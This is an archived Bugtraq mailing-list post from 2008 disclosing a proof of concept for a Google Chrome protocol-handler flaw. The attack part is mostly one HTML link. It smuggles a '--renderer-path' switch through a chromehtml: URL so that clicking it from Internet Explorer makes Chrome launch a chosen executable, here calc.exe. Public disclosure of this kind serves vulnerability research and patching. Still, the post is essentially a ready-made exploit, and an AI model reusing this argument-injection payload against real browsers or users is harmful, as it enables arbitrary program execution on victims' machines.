Google Chrome Browser (ChromeHTML://) remote parameter injection POC

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Google Chrome Browser (ChromeHTML://) remote parameter injection POC
From: nospam@xxxxxxx
Date: Tue, 23 Dec 2008 12:54:29 -0700
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

<!--
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft 
Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html

click the following link with IE while monitoring with procmon
-->
<a 
href='chromehtml:www.google.com"%20--renderer-path="c:\windows\system32\calc.exe"%20--"'>click
 me</a>

Prev by Date: PGP Desktop 9.0.6 Denial Of Service - ZeroDay
Next by Date: MS Windows Media Player * (.WAV) Remote Integrer Overflow
Previous by thread: PGP Desktop 9.0.6 Denial Of Service - ZeroDay
Next by thread: Re: Google Chrome Browser (ChromeHTML://) remote parameter injection POC
Index(es):
- Date
- Thread